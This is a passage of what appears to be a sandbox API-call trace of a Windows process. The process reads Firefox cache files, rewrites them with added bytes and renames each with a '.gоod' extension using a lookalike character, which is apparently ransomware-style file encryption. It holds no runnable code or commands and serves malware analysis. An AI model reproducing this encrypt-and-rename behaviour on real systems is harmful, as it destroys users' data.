hTemplateFile=0x0) returned 0x834 [0218.077] GetFileType (hFile=0x834) returned 0x1 [0218.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0218.077] GetFileType (hFile=0x834) returned 0x1 [0218.077] WriteFile (in: hFile=0x834, lpBuffer=0x367eb38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x367eb38*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0218.077] CloseHandle (hObject=0x834) returned 1 [0218.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", lpFilePart=0x0) returned 0x7f [0218.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22.gоod", lpFilePart=0x0) returned 0x84 [0218.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0218.078] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e326260, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1175)) returned 1 [0218.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0218.078] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22.gоod")) returned 1 [0218.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", lpFilePart=0x0) returned 0x7f [0218.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0218.079] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), fInfoLevelId=0x0, lpFileInformation=0x36fd4f0 | out: lpFileInformation=0x36fd4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359ce54, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x359ce54, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x35aa535, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a)) returned 1 [0219.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0219.102] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", lpFilePart=0x0) returned 0x7f [0219.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0219.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0219.102] GetFileType (hFile=0x85c) returned 0x1 [0219.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0219.103] GetFileType (hFile=0x85c) returned 0x1 [0219.103] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x52a [0219.103] ReadFile (in: hFile=0x85c, lpBuffer=0x3603d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3603d60*, lpNumberOfBytesRead=0x1fbeb028*=0x52a, lpOverlapped=0x0) returned 1 [0219.235] CloseHandle (hObject=0x85c) returned 1 [0219.262] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", lpFilePart=0x0) returned 0x7f [0219.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0219.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0220.198] GetFileType (hFile=0x824) returned 0x1 [0220.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0220.198] GetFileType (hFile=0x824) returned 0x1 [0220.198] WriteFile (in: hFile=0x824, lpBuffer=0x3838ec8*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3838ec8*, lpNumberOfBytesWritten=0x1fbeaf38*=0x530, lpOverlapped=0x0) returned 1 [0220.233] CloseHandle (hObject=0x824) returned 1 [0220.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", lpFilePart=0x0) returned 0x7f [0220.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92.gоod", lpFilePart=0x0) returned 0x84 [0220.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0220.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359ce54, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x359ce54, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7f7bf1db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x530)) returned 1 [0220.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0220.234] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92.gоod")) returned 1 [0220.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", lpFilePart=0x0) returned 0x7f [0220.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0220.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), fInfoLevelId=0x0, lpFileInformation=0x38b61a8 | out: lpFileInformation=0x38b61a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1136)) returned 1 [0220.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0220.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", lpFilePart=0x0) returned 0x7f [0220.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0220.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0220.236] GetFileType (hFile=0x824) returned 0x1 [0220.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0220.236] GetFileType (hFile=0x824) returned 0x1 [0220.236] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0220.236] ReadFile (in: hFile=0x824, lpBuffer=0x38b6710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x38b6710*, lpNumberOfBytesRead=0x1fbeb0c8*=0x136, lpOverlapped=0x0) returned 1 [0220.237] CloseHandle (hObject=0x824) returned 1 [0220.238] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", lpFilePart=0x0) returned 0x7f [0220.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0220.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0220.238] GetFileType (hFile=0x824) returned 0x1 [0220.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0220.238] GetFileType (hFile=0x824) returned 0x1 [0220.238] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1136 [0220.238] WriteFile (in: hFile=0x824, lpBuffer=0x38b7ca8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x38b7ca8*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0220.238] CloseHandle (hObject=0x824) returned 1 [0220.238] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", lpFilePart=0x0) returned 0x7f [0220.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0220.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0220.239] GetFileType (hFile=0x824) returned 0x1 [0220.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0220.239] GetFileType (hFile=0x824) returned 0x1 [0220.239] ReadFile (in: hFile=0x824, lpBuffer=0x38ba010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x38ba010*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0220.266] CloseHandle (hObject=0x824) returned 1 [0220.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", lpFilePart=0x0) returned 0x7f [0220.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0220.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0220.266] GetFileType (hFile=0x824) returned 0x1 [0220.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0220.266] GetFileType (hFile=0x824) returned 0x1 [0220.267] WriteFile (in: hFile=0x824, lpBuffer=0x38b8cc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x38b8cc0*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0220.267] CloseHandle (hObject=0x824) returned 1 [0220.267] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA", lpFilePart=0x0) returned 0x7f [0220.267] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA.gоod", lpFilePart=0x0) returned 0x84 [0220.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0220.267] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7f80b6c1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1146)) returned 1 [0220.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0220.267] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca.gоod")) returned 1 [0220.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", lpFilePart=0x0) returned 0x7f [0220.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0220.268] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), fInfoLevelId=0x0, lpFileInformation=0x39366e8 | out: lpFileInformation=0x39366e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c8f7d5, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45c8f7d5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45c8f7d5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3736)) returned 1 [0220.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0220.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", lpFilePart=0x0) returned 0x7f [0220.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0220.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0220.268] GetFileType (hFile=0x824) returned 0x1 [0220.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0220.268] GetFileType (hFile=0x824) returned 0x1 [0220.269] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0220.269] ReadFile (in: hFile=0x824, lpBuffer=0x3936c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3936c50*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0220.442] CloseHandle (hObject=0x824) returned 1 [0220.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC", lpFilePart=0x0) returned 0x7f [0220.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0220.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\097326CA201DC4FEED987C8C534C04EF1E14A3DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\097326ca201dc4feed987c8c534c04ef1e14a3dc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0220.463] GetFileType (hFile=0x630) returned 0x1 [0220.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0220.463] GetFileType (hFile=0x630) returned 0x1 [0220.463] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: 